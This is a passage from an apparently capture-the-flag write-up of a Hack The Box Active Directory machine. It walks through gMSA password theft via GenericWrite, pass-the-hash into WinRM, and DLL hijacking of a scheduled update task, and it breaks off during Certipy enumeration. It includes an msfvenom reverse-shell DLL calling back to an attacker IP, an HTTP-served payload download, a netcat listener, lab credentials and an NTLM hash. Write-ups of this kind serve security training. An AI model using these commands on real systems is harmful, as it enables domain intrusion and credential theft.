Groups</figcaption></figure><p><strong>Outbound Object Control</strong></p><ul><li>The next step is reviewing the objects that this account can control. BloodHound reports no meaningful delegated permissions.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hdO8qv6Qhicd7ryLAzK4jw.png" /><figcaption>wallace.everette Outboound Object Control</figcaption></figure><p><strong>Inbound Object Control</strong></p><ul><li>Finally, the inbound relationships are examined to determine whether another object possesses administrative control over wallace.everette.</li><li>Again, nothing unusual is identified. Overall, the original compromised account possesses only the permissions expected of a standard domain user.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*84flxk0BxTwSdiQ8OKVlCg.png" /><figcaption>wallace.everette Inbound Object Control</figcaption></figure><h4>Investigating the Service Account</h4><p><strong>Member Of</strong></p><ul><li>Confirms information previously obtained through LDAP enumeration. The account belongs to the <strong>Protected Users</strong> group.</li><li>While this group provides additional security protections against several credential theft techniques, it does not itself grant administrative privileges.</li><li>The group membership therefore does not immediately explain how the account can be abused.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qg3Ymgdh55LNMU2P7xIRsg.png" /><figcaption>Member Of svc_recovery</figcaption></figure><p><strong>Outbound Object Control</strong></p><ul><li>Unlike the original user account, svc_recovery possesses delegated permissions over another Active Directory object.</li><li>BloodHound reveals the following relationship: svc_recovery → Generic Write → MSA_HEALTH$</li><li>This immediately becomes the most promising attack path discovered so far.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vG3RJ1ziFMA-CNzOHzEEow.png" /><figcaption>svc_recovery GenericWrite over msa_health$ account</figcaption></figure><h4>Understanding the Generic Write</h4><blockquote>The <strong>GenericWrite</strong> permission grants an account the ability to modify writable attributes of another Active Directory object.</blockquote><blockquote>Although GenericWrite does not automatically provide full administrative control, it frequently enables privilege escalation depending on the object being modified.</blockquote><blockquote>In this case, the target object is particularly interesting, <em>MSA_HEALTH$</em>. Rather than representing a normal user, this is a <strong>Group Managed Service Account (GMSA)</strong>.</blockquote><h4>What is a Group Managed Service Account?</h4><blockquote>Group Managed Service Accounts were introduced by Microsoft to eliminate one of the most common administrative challenges: <strong>Managing passwords for service accounts</strong>.</blockquote><blockquote>Unlike traditional service accounts whose passwords must be manually maintained, a GMSA automatically rotates its own password.</blockquote><blockquote>Only explicitly authorized principals may retrieve the current password.</blockquote><blockquote>This significantly improves operational security by:</blockquote><blockquote>- Automatically rotating long and complex passwords.</blockquote><blockquote>- Preventing administrators from manually storing credentials.</blockquote><blockquote>- Limiting which systems or accounts can retrieve the password.</blockquote><blockquote>However, these protections depend entirely on the list of principals permitted to read the managed password. If an attacker can modify that access list, the protection disappears.</blockquote><h4>Inspecting the Managed Service Account</h4><ul><li>Selecting <strong>MSA_HEALTH$</strong> inside BloodHound reveals additional information.</li><li>Among its memberships, one particularly useful group appears: Remote Management</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r0EsZyM1i52PUc8Pr0TiWA.png" /><figcaption>MSA_HEALTH$ is a Member of Remote Management Group</figcaption></figure><ul><li>Although group membership alone is not immediately exploitable, it strongly suggests that this account possesses permissions allowing remote administration somewhere within the environment.</li><li>Consequently, obtaining this account’s credentials becomes the primary objective.</li></ul><h4>Attempting to Read the Managed Password</h4><ul><li>NetExec provides built-in functionality for enumerating <strong>GMSA passwords</strong>.</li><li>Using the recovered service account, an attempt is made to retrieve the managed password:</li></ul><pre>nxc ldap DC01.logging.htb -u svc_recovery -p &#39;Em3rg3ncyPa$$2026&#39; -k --gmsa</pre><ul><li>Authentication succeeds. However, the password cannot be retrieved.</li><li>Although the account successfully authenticates to LDAP, it lacks the necessary permission to read the managed password.</li><li>At first glance, this appears to be a dead end. However, BloodHound has already identified the critical detail: <strong>svc_recovery possesses GenericWrite over the managed service account</strong>.</li><li>Rather than reading the password directly, the permission can be abused to modify <strong>who is allowed to read it</strong>.</li></ul><h4>Abusing GenericWrite</h4><ul><li>BloodyAD provides functionality for modifying the principals authorized to retrieve a <strong>GMSA password</strong>.</li><li>Using the <strong>GenericWrite</strong> permission, svc_recovery is added to the managed service account&#39;s allowed readers:</li></ul><pre>bloodyAD -d logging.htb -u svc_recovery -p &#39;Em3rg3ncyPa$$2026&#39; -H dc01.logging.htb -k add gmsaGroup MSA_HEALTH$ svc_recovery</pre><ul><li>The operation succeeds: [+] svc_recovery can now retrieve the password of msa_health$</li><li>This seemingly small modification completely changes the security posture of the managed service account. Rather than attacking the password itself, the attacker has simply granted themselves permission to retrieve it.</li></ul><h4>Retrieving the Managed Password</h4><ul><li>With the updated permissions in place, the password retrieval is attempted again:</li></ul><pre>nxc ldap DC01.logging.htb -u svc_recovery -p &#39;Em3rg3ncyPa$$2026&#39; -k --gmsa</pre><ul><li>This time, the result is dramatically different.</li><li>The managed service account’s NTLM hash has now been successfully recovered.</li><li>For completeness, BloodyAD can also display the full managed password blob together with the extracted NTLM hash.</li></ul><pre>bloodyAD -d logging.htb -u svc_recovery -p &#39;Em3rg3ncyPa$$2026&#39; -H dc01.logging.htb -k msldap gmsa</pre><ul><li>The most important value is the NTLM hash: msDS-ManagedPassword.NT: 946b33cc5505890cea9a4b5605b8cbd6</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_9FR8N_YoNV7LqL_Gu8D4w.png" /><figcaption>Abusing GenericWrite to Read Managed Group Password</figcaption></figure><ul><li>At this point, there is no need to know the plaintext password. Windows authentication mechanisms such as <strong>Pass-the-Hash</strong> allow the NTLM hash itself to be used for authentication.</li></ul><h4>Validating the Managed Service Account</h4><ul><li>As with every newly obtained credential, the next step is validation. The recovered NTLM hash is tested against the services exposed by the target.</li></ul><p><strong>SMB</strong></p><pre>nxc smb DC01.logging.htb -u msa_health$ -H &#39;946b33cc5505890cea9a4b5605b8cbd6&#39;</pre><ul><li><strong><em>Authentication succeeds</em></strong>.</li></ul><p><strong>LDAP</strong></p><pre>nxc ldap DC01.logging.htb -u msa_health$ -H &#39;946b33cc5505890cea9a4b5605b8cbd6&#39;</pre><ul><li><strong><em>Authentication Succeeds.</em></strong></li></ul><p><strong>WinRM</strong></p><pre>nxc winrm DC01.logging.htb -u msa_health$ -H &#39;946b33cc5505890cea9a4b5605b8cbd6&#39;</pre><ul><li><strong><em>Authentication Succeeds.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u_PTDnG-EPgClcortJ4Zyg.png" /><figcaption>Pass the Hash Authentication over SMB, LDAP and WinRM</figcaption></figure><ul><li>Unlike the previously compromised accounts, the managed service account is authorized to authenticate through WinRM. This is the first account encountered during the engagement that permits remote management access, representing a significant escalation in the attack.</li><li>The attack has now progressed from an ordinary domain user to a service account capable of authenticating across <strong>SMB, LDAP</strong>, and <strong>WinRM</strong>.</li><li>By abusing a single GenericWrite permission, the attackers transformed a<em> protected Group Managed Service Account into a usable foothold</em> without ever cracking or guessing a password.</li></ul><h3>Establishing Remote Access and Investigating Scheduled Tasks</h3><ul><li>Recovering the credentials for the <strong>msa_health$</strong> Group Managed Service Account represents another significant milestone in the engagement. Unlike the previously compromised accounts, this account <em>successfully authenticated against WinRM</em>, providing the first opportunity to establish an <em>interactive shell</em> on the target system.</li><li>Interactive access fundamentally changes the nature of the assessment. Until this point, all reconnaissance had been performed remotely through LDAP and SMB. With PowerShell access to the host, it becomes possible to inspect the file system, examine scheduled tasks, review locally stored scripts, and identify additional privilege escalation opportunities that are not visible through directory enumeration alone.</li><li>Rather than immediately searching for privilege escalation exploits, the focus shifts to understanding the responsibilities of the compromised account and identifying any operational scripts or automation that may expose additional attack vectors.</li></ul><h3>Establishing a WinRM Session</h3><ul><li>The NTLM hash recovered from the Group Managed Service Account is used to authenticate via WinRM using <strong>Pass-the-Hash</strong> authentication.</li></ul><pre>evil-winrm -i 10.129.245.130 -u msa_health$ -H 946b33cc5505890cea9a4b5605b8cbd6</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SkKgvFBn24GmKR-AyuSXRA.png" /><figcaption>Remotely Connecting to MSA_HEALTH$ Account using WinRM</figcaption></figure><ul><li>Authentication succeeds, providing an interactive PowerShell session running under the context of the managed service account.</li><li>The next objective is to determine how this account is used by the system and whether it participates in any automated administrative workflows.</li></ul><h4>Enumerating the User’s Profile</h4><ul><li>A logical starting point is the account’s home directory.</li><li>Listing the contents of the <strong>Documents</strong> directory reveals a single PowerShell script:</li></ul><pre>Get-ChildItem</pre><ul><li>The output shows the presence of a monitoring script which immediately warrants further investigation.</li></ul><h3>Inspecting the Monitoring Script</h3><ul><li>The contents of the script are displayed using PowerShell:</li></ul><pre>Get-Content monitor.ps1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*48TrY6RhKzHLe_mRC5mA2g.png" /><figcaption>Inspecting monitor.ps1</figcaption></figure><ul><li>The script contains the following description:</li></ul><pre>&lt;#<br>.SYNOPSIS<br>    Monitors the status of the &quot;UpdateChecker Agent&quot; scheduled task.<br>    Uses COM interface to avoid CIM/WMI permission issues.<br>#&gt;<br><br>$TaskName = &quot;UpdateChecker Agent&quot;<br>$LogPath = &quot;C:\Share\Logs\TaskMonitor.log&quot;<br>$Timestamp = Get-Date -Format &quot;yyyy-MM-dd HH:mm:ss&quot;<br><br>try {<br>    $service = New-Object -ComObject &quot;Schedule.Service&quot;<br>    $service.Connect()<br>    $task = $service.GetFolder(&quot;\&quot;).GetTask($TaskName)<br><br>    $State = switch ($task.State) {<br>        1 { &quot;Disabled&quot; }<br>        2 { &quot;Queued&quot; }<br>        3 { &quot;Ready&quot; }<br>        4 { &quot;Running&quot; }<br>        5 { &quot;Disabled&quot; }<br>        6 { &quot;Unknown&quot; }<br>        default { &quot;Unknown&quot; }<br>    }<br><br>    if ($State -ne &quot;Ready&quot; -and $State -ne &quot;Running&quot;) {<br>        $Message = &quot;[$Timestamp] WARN  - Task [$TaskName] is in an unexpected state: $State&quot;<br>    }<br>    else {<br>        $Message = &quot;[$Timestamp] INFO  - Task [$TaskName] health check: OK (State: $State)&quot;<br>    }<br>}<br>catch {<br>    $Message = &quot;[$Timestamp] ERROR - Failed to query task [$TaskName]. Exception: $($_.Exception.Message)&quot;<br>}<br><br>Add-Content -Path $LogPath -Value $Message</pre><p>Even before examining the implementation, the header reveals two important pieces of information:</p><ul><li>The script is responsible for monitoring a scheduled task named <strong>UpdateChecker Agent</strong> (Remember the TaskMonitor.log).</li><li>It intentionally interacts with the Windows Task Scheduler through the <strong>COM </strong>interface instead of WMI or CIM, suggesting that permission limitations influenced its design.</li><li>This immediately shifts the investigation toward the scheduled task itself.</li></ul><h4>Understanding the Script</h4><ul><li>Rather than blindly executing the script, it is worth understanding exactly what it does.</li><li>Several variables are initialized at the beginning:</li></ul><pre>$TaskName = &quot;UpdateChecker Agent&quot;<br>$LogPath = &quot;C:\Share\Logs\TaskMonitor.log&quot;<br>$Timestamp = Get-Date -Format &quot;yyyy-MM-dd HH:mm:ss&quot;</pre><p>These variables indicate that the script:</p><ul><li>Monitors a task named <strong>UpdateChecker Agent</strong>.</li><li>Records the results to: &quot;C:\Share\Logs\TaskMonitor.log&quot;</li><li>The log path is particularly interesting because it suggests another location where operational information is stored.</li></ul><h4>Connecting to the Task Scheduler</h4><ul><li>The script then creates a COM object:</li></ul><pre>$service = New-Object -ComObject &quot;Schedule.Service&quot;</pre><ul><li>Instead of relying on standard PowerShell scheduled task cmdlets, the script directly interfaces with the Windows Task Scheduler service.</li><li>After creating the object, it establishes a connection.</li></ul><pre>$service.Connect()</pre><ul><li>Finally, it retrieves the scheduled task.</li></ul><pre>$task = $service.GetFolder(&quot;\&quot;).GetTask($TaskName)</pre><h4>Enumerating the Scheduled Task</h4><p>The commands used inside the monitoring script are executed interactively:</p><ul><li>$TaskName = &quot;UpdateChecker Agent&quot;</li><li>$service = New-Object -ComObject &quot;Schedule.Service&quot;</li><li>$service.Connect()</li><li>$task = $service.GetFolder(&quot;\&quot;).GetTask($TaskName)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U1_TfZqo00nikrSZOMoVSg.png" /><figcaption>Running the Script’s Commands Interactively</figcaption></figure><p>Finally, displaying the task object exposes its complete configuration.</p><ul><li>$task</li></ul><p>The resulting output contains a wealth of operational information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i0oCW598tNS_um06N9UKfA.png" /><figcaption>The $task Object Output</figcaption></figure><h4>Analyzing the Scheduled Task</h4><pre>Name               : UpdateChecker Agent<br>Path               : \UpdateChecker Agent<br>State              : 3<br>Enabled            : True<br>LastRunTime        : 7/25/2026 8:05:15 AM<br>LastTaskResult     : 0<br>NumberOfMissedRuns : 0<br>NextRunTime        : 7/25/2026 8:08:15 AM<br>Definition         : System.__ComObject<br>Xml                : &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-16&quot;?&gt;<br>                     &lt;Task version=&quot;1.2&quot; xmlns=&quot;http://schemas.microsoft.com/windows/2004/02/mit/task&quot;&gt;<br>                       &lt;RegistrationInfo&gt;<br>                         &lt;Date&gt;2026-04-16T16:39:34.3280175&lt;/Date&gt;<br>                         &lt;Author&gt;logging\Administrator&lt;/Author&gt;<br>                         &lt;URI&gt;\UpdateChecker Agent&lt;/URI&gt;<br>                       &lt;/RegistrationInfo&gt;<br>                       &lt;Principals&gt;<br>                         &lt;Principal id=&quot;Author&quot;&gt;<br>                           &lt;UserId&gt;S-1-5-21-4020823815-2796529489-1682170552-2105&lt;/UserId&gt;<br>                           &lt;LogonType&gt;Password&lt;/LogonType&gt;<br>                         &lt;/Principal&gt;<br>                       &lt;/Principals&gt;<br>                       &lt;Settings&gt;<br>                         &lt;DisallowStartIfOnBatteries&gt;true&lt;/DisallowStartIfOnBatteries&gt;<br>                         &lt;StopIfGoingOnBatteries&gt;true&lt;/StopIfGoingOnBatteries&gt;<br>                         &lt;MultipleInstancesPolicy&gt;Parallel&lt;/MultipleInstancesPolicy&gt;<br>                         &lt;IdleSettings&gt;<br>                           &lt;StopOnIdleEnd&gt;true&lt;/StopOnIdleEnd&gt;<br>                           &lt;RestartOnIdle&gt;false&lt;/RestartOnIdle&gt;<br>                         &lt;/IdleSettings&gt;<br>                       &lt;/Settings&gt;<br>                       &lt;Triggers&gt;<br>                         &lt;TimeTrigger&gt;<br>                           &lt;StartBoundary&gt;2026-04-16T16:38:15&lt;/StartBoundary&gt;<br>                           &lt;Repetition&gt;<br>                             &lt;Interval&gt;PT3M&lt;/Interval&gt;<br>                           &lt;/Repetition&gt;<br>                         &lt;/TimeTrigger&gt;<br>                       &lt;/Triggers&gt;<br>                       &lt;Actions Context=&quot;Author&quot;&gt;<br>                         &lt;Exec&gt;<br>                           &lt;Command&gt;&quot;C:\Program Files\UpdateMonitor\UpdateMonitor.exe&quot;&lt;/Command&gt;<br>                           &lt;Arguments&gt;500 /scan=3 /autofix=true&lt;/Arguments&gt;<br>                         &lt;/Exec&gt;<br>                       &lt;/Actions&gt;<br>                     &lt;/Task&gt;</pre><ul><li>Every three minutes the Windows Task Scheduler launches <strong>UpdateMonitor.exe</strong> with the supplied command-line arguments. The task was originally created by <strong>Administrator</strong>, suggesting that the executable runs as a highly trusted component within the environment.</li><li>One particularly interesting field is:</li></ul><pre>&lt;Principal id=&quot;Author&quot;&gt;<br>    &lt;UserId&gt;S-1-5-21-4020823815-2796529489-1682170552-2105&lt;/UserId&gt;<br>    &lt;LogonType&gt;Password&lt;/LogonType&gt;<br>&lt;/Principal&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D13vWvPxXrd4c23EsATpUQ.png" /><figcaption>Mapping the RID to jaylee.clifton</figcaption></figure><ul><li>Cross-referencing the RID (2105) with the domain&#39;s user objects reveals that the SID belongs to: jaylee.clifton.</li><li>Although the task was authored by Administrator, it executes under the security context of jaylee.clifton. Any opportunity to influence the execution of this scheduled task could therefore result in code execution as the IT user identified earlier through BloodHound.</li><li>This is the first point where the earlier LDAP and BloodHound enumeration begins to connect with local enumeration.</li><li>The XML definition identifies the program executed by the task.</li></ul><pre>&lt;Command&gt;&quot;C:\Program Files\UpdateMonitor\UpdateMonitor.exe&quot;&lt;/Command&gt;</pre><ul><li>Rather than invoking PowerShell or a batch script, the scheduled task launches a compiled executable named: UpdateMonitor.exe located in: C:\Program Files\UpdateMonitor</li><li>The scheduled task responsible for running <strong>UpdateMonitor.exe</strong> executes using this user’s credentials, making jaylee.clifton the next logical target in the attack chain.</li><li>This immediately becomes another area of interest for later investigation. Any custom executable running on a frequent schedule deserves careful inspection, particularly if it executes with elevated privileges.</li></ul><h3>Why this matters</h3><blockquote>The investigation has now uncovered another critical relationship within the environment:</blockquote><blockquote>The compromised <strong><em>msa_health$</em></strong> account does not simply provide remote access; it also exposes administrative tooling responsible for monitoring scheduled tasks and reveals the existence of an automated process executing under another domain user&#39;s security context.</blockquote><blockquote>At this stage, no exploitation has occurred. Instead, the attackers have methodically gathered intelligence by examining the operational scripts left behind on the system. This disciplined approach has identified a high-value scheduled task, the executable it launches, its execution frequency, and — most importantly — the domain account responsible for running it.</blockquote><blockquote>These findings establish the foundation for the next phase of the assessment, where the <strong>UpdateChecker Agent</strong> and its associated executable will be analyzed in greater depth to determine whether they can be abused to compromise the <strong><em>jaylee.clifton</em></strong> account and continue the path toward full domain compromise.</blockquote><h4>Exploiting the Update Mechanism to Obtain User Access</h4><ul><li>With an interactive shell established as <strong>msa_health$</strong>, the focus shifts from Active Directory enumeration to host-based privilege escalation. Earlier analysis of the <strong>UpdateChecker Agent</strong> scheduled task revealed that it executes every <strong>three minutes</strong> and launches a custom application named <strong>UpdateMonitor.exe</strong> under the security context of <strong>jaylee.clifton</strong>.</li></ul><p>At this stage, several important questions remain unanswered:</p><blockquote>What exactly does <strong>UpdateMonitor.exe</strong> do?</blockquote><blockquote>Does it process files from a writable location?</blockquote><blockquote>Can its update mechanism be manipulated?</blockquote><blockquote>Is there an opportunity to execute arbitrary code under <em>jaylee.clifton</em>&#39;s privileges?</blockquote><ul><li>Rather than immediately attempting to replace binaries or abuse scheduled tasks, the investigation begins by understanding how the application operates.</li><li>PowerShell provides an easy way to inspect its file properties:</li></ul><pre>Get-ItemProperty &quot;C:\Program Files\UpdateMonitor\UpdateMonitor.exe&quot; | Format-List *</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4NZHmInACPBrTnHpWH8S_Q.png" /><figcaption>Inspecting the Attributes of the UpdateMonitor Executable using PowerShell</figcaption></figure><ul><li>The metadata confirms the executable’s location and provides useful information such as timestamps, file version, and other properties that may help identify whether the binary is custom-developed or part of third-party software.</li><li>While metadata is informative, static analysis is considerably easier when performed locally. The executable is therefore downloaded from the target machine:</li></ul><pre>download &quot;C:\Program Files\UpdateMonitor\UpdateMonitor.exe&quot;</pre><h3>Inspecting the Executable Locally</h3><ul><li>Back on the attacker’s machine, the downloaded binary is verified:</li></ul><pre>ls</pre><ul><li>The file utility is then used to determine the executable&#39;s architecture:</li></ul><pre>file UpdateMonitor.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WwiwVtH70fYoTU8bFwB6SQ.png" /><figcaption>Inspecting UpdateMonitor Executable Locally</figcaption></figure><ul><li>The output reveals: UpdateMonitor.exe: PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sections</li><li>This seemingly minor detail is actually quite important.</li><li>The executable is a <strong>32-bit (.NET) application</strong> rather than a native <strong>64-bit executable</strong>. This information becomes relevant later when generating a malicious replacement DLL, since the payload architecture must match the process that loads it. Attempting to inject or load a 64-bit DLL into a 32-bit process would result in a failure.</li><li>Although the executable itself could be reverse engineered further, additional clues can often be obtained simply by examining its log files.</li></ul><h4>Searching for Application Logs</h4><p>Applications frequently write diagnostic information to predictable locations such as:</p><ul><li>C:\Windows</li><li>C:\ProgramData</li><li>C:\Users</li><li>C:\inetpub</li><li>C:\Logs</li></ul><p>Rather than inspecting each directory manually, PowerShell is used to recursively search for log files beneath ProgramData :</p><pre>Get-ChildItem -Path C:\ProgramData -Filter *.log -Recurse -File -ErrorAction SilentlyContinue</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JyXEucIivKBWW2KY0AKNXw.png" /><figcaption>Searching for Interesting Log Files in Windows</figcaption></figure><p>The search returns two results:</p><ul><li>C:\ProgramData\UpdateMonitor\Logs\monitor.log</li><li>C:\ProgramData\VMware\logs\vmmsi.log</li></ul><p>The VMware installation log is unrelated to the target application and can safely be ignored.</p><p>The <strong>UpdateMonitor</strong> log, however, is directly associated with the scheduled task discovered earlier.</p><h4>Examining the UpdateMonitor Log</h4><ul><li>The working directory is changed to the application’s log folder:</li></ul><pre>Set-Location C:\ProgramData\UpdateMonitor\Logs</pre><ul><li>The most recent log entries are displayed:</li></ul><pre>Get-Content monitor.log -Tail 40</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w5akyntsje-_Y1rn9B2Gjw.png" /><figcaption>Inspecting monitor.log</figcaption></figure><ul><li>Immediately, a repeating execution pattern becomes apparent.</li></ul><p>Several important observations can be made from these log entries:</p><ul><li>The scheduled task runs every<strong> three minutes</strong>. The timestamps align perfectly with the execution schedule identified earlier through Task Scheduler.</li><li>This confirms that the scheduled task executes automatically every three minutes without requiring user interaction. From an attacker’s perspective, this means any exploitable behavior can be triggered repeatedly with very little waiting.</li><li>The application searches for updates. Each execution begins by checking two potential update sources:</li></ul><pre>Checking for update on core server...<br>Checking for update on local server...</pre><ul><li>This strongly suggests that <strong>UpdateMonitor.exe</strong> implements an automated update mechanism.</li><li>The next log entries provide even more insight:</li></ul><pre>Info: Core did not find file Settings_Update.zip<br>No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.</pre><ul><li>The application appears to search for an archive named Settings_Update.zip</li><li>If the archive is absent, no update is applied.</li><li>The application attempts to load a DLL:</li><li>Perhaps the most significant log entry appears near the end of every execution cycle:</li></ul><pre>Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll</pre><ul><li>Immediately afterwards:</li></ul><pre>Failed to load settings_update.dll. Error code: 126</pre><ul><li>Windows error code <strong>126</strong> corresponds to: The specified module could not be found.</li><li>This reveals a critical weakness in the application’s update process. Rather than embedding all update functionality within the executable itself, the application dynamically attempts to load an external DLL named settings_update.dll</li><li>Because the DLL does not currently exist, the application logs the failure before terminating normally. This behavior presents an obvious opportunity for DLL-based code execution.</li></ul><h4>Verifying Directory Permissions</h4><ul><li>Before attempting to exploit the update mechanism, it is important to determine whether the current account can place files into the application’s directories.</li><li>The permissions on the log directory are examined:</li></ul><pre>icacls .</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cvZc2HCE7V9PnZQIyZ11cA.png" /><figcaption>Checking Directory Permissions</figcaption></figure><ul><li>The output includes: BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA)</li><li>These permissions indicate that ordinary users possess write capabilities within this location.</li><li>Combined with the application’s behavior, this strongly suggests that user-controlled files can influence the update process.</li><li>Although the executable itself resides under <strong>Program Files</strong>, the application expects update packages to appear elsewhere before extracting and processing them.</li><li>The log has already identified the expected filename: Settings_Update.zip</li><li>The next step is therefore to create an update package that contains a malicious replacement DLL.</li></ul><h4>Preparing a Malicious Update Package</h4><ul><li>Back on the attacker’s machine, a working directory is created:</li></ul><pre>mkdir www &amp;&amp; cd www</pre><ul><li>Since the application is a <strong>32-bit process</strong>, the malicious DLL must also be compiled as a 32-bit payload. Using msfvenom, a reverse shell DLL is generated:</li></ul><pre>msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.230 LPORT=4444 -f dll -o settings_update.dll</pre><ul><li>After generation, the working directory contains the malicious DLL:</li></ul><pre>ls</pre><ul><li>The DLL is then packaged using the filename expected by the update mechanism:</li></ul><pre>zip Settings_Update.zip settings_update.dll</pre><ul><li>Verifying the archive confirms that both files are present:</li></ul><pre>ls</pre><ul><li>Finally, a lightweight HTTP server is started to host the update package:</li></ul><pre>python -m http.server</pre><ul><li>Before transferring the archive, the VPN interface is checked to confirm the correct callback address:</li></ul><pre>ifconfig tun0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sZfAnq2IQbzHURRR2ffQIw.png" /><figcaption>Displaying the Callback Address</figcaption></figure><ul><li>The attacker is now prepared to deliver the malicious update.</li></ul><h4>Delivering the Update</h4><ul><li>Returning to the WinRM session, the update package is downloaded onto the target:</li></ul><pre>Set-Location C:\ProgramData\UpdateMonitor</pre><pre>wget http://10.10.14.230:8000/Settings_Update.zip -o Settings_Update.zip</pre><ul><li>A quick directory listing confirms that the archive has been successfully downloaded:</li></ul><pre>Get-ChildItem</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LRi4VdN-f-dDX8NcE4WwRQ.png" /><figcaption>Uploading the Malicious DLL</figcaption></figure><ul><li>At this point, no further action is required. The scheduled task automatically executes every three minutes, discovers the newly available update archive, extracts the DLL, and attempts to load it. Because the DLL now exists and contains attacker-controlled code, the application unknowingly executes the embedded reverse shell.</li></ul><h4>Receiving the Reverse Shell</h4><ul><li>Before the scheduled task executes again, a listener is started on the attacker’s machine:</li></ul><pre>rlwrap nc -lvnp 4444</pre><ul><li>After waiting for the next execution cycle, the listener receives an incoming connection. The reverse shell is established successfully.</li><li>Verifying the current security context confirms the attacker’s new identity:</li></ul><pre>whoami</pre><p>The output returns:</p><ul><li>logging\jaylee.clifton</li><li>The scheduled task has effectively been abused to execute arbitrary code under the account responsible for running <strong>UpdateMonitor.exe</strong>.</li><li>The attack has now progressed from a managed service account to an interactive shell as jaylee.clifton.</li></ul><h4>Capturing the User Flag</h4><ul><li>With user-level access established, the standard HTB user flag can now be retrieved.</li><li>Navigate to the Users directory:</li></ul><pre>cd C:\Users</pre><pre>dir</pre><ul><li>Change into jaylee.clifton&#39;s profile:</li></ul><pre>cd jaylee.clifton\Desktop</pre><pre>dir</pre><ul><li>Finally, display the user flag:</li></ul><pre>type user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xf8GTOU1y_aVcRZkpOaM_Q.png" /><figcaption>Getting a Reverse Shell as jaylee.clifton and the User Flag</figcaption></figure><ul><li>With the user flag captured, attention can now shift toward obtaining complete domain compromise.</li></ul><h4>Returning to BloodHound</h4><ul><li>Although the objective of obtaining user access has been achieved, the engagement is not yet complete.</li><li>Returning to BloodHound and inspecting jaylee.clifton reveals additional privilege relationships.</li><li>Examining the user’s <strong>Outbound Object Control</strong> highlights its membership in the <strong>IT</strong> group.</li><li>Investigating the <strong>IT</strong> group itself reveals a particularly interesting delegated privilege.</li><li>Members of the <strong>IT</strong> group are authorized to enroll for a certificate using the <strong>UpdateSrv</strong> certificate template.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9y7T1CYbNufvmamM0dAb-A.png" /><figcaption>Enumerating jaylee.clifton Outbound Object Control</figcaption></figure><ul><li>At first glance, this may appear to be a standard<strong> Active Directory Certificate Services (AD CS)</strong> configuration. However, certificate templates have become one of the most common sources of privilege escalation within modern Active Directory environments. Misconfigured enrollment permissions can allow attackers to obtain certificates that authenticate as more privileged users without ever knowing their passwords.</li></ul><h3>Enumerating Active Directory Certificate Services</h3><ul><li>With control of the <strong>jaylee.clifton</strong> account established and the user flag captured, the assessment enters its final phase. Earlier BloodHound analysis revealed that <strong>jaylee.clifton</strong>, through membership in the <strong>IT</strong> group, possesses enrollment rights over a certificate template named <strong>UpdateSrv</strong>.</li><li>While this alone does not prove the template is exploitable, it provides a strong lead. <strong>Misconfigured Active Directory Certificate Services (AD CS)</strong> environments have become one of the most common privilege escalation vectors in modern Active Directory attacks. Improperly configured certificate templates can allow low-privileged users to request certificates that authenticate as other users or computers, effectively bypassing traditional password-based authentication.</li><li>The next objective is to enumerate the <strong>Certificate Authority (CA)</strong> and its templates to determine whether the <strong>UpdateSrv</strong> template presents such an opportunity.</li><li>To gather information about the Certificate Authority and all published certificate templates, <strong>Certipy</strong> is used.</li><li>A dedicated working directory is first created to keep the generated files organized:</li></ul><pre>mkdir certipy_out &amp;&amp; cd certipy_out</pre><ul><li>The domain is then enumerated:</li></ul><pre>certipy-ad find -dc-ip 10.129.245.130 -u wallace.everette@logging.htb -p Welcome2026@</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*45FZ0yGYCGAtNEJu1Mn8MA.png" /><figcaption>Active Directory Certificate Services Enumeration</figcaption></figure><ul><li>Certipy successfully discovers the certificate infrastructure:</li></ul><pre>[*] Found 34 certificate 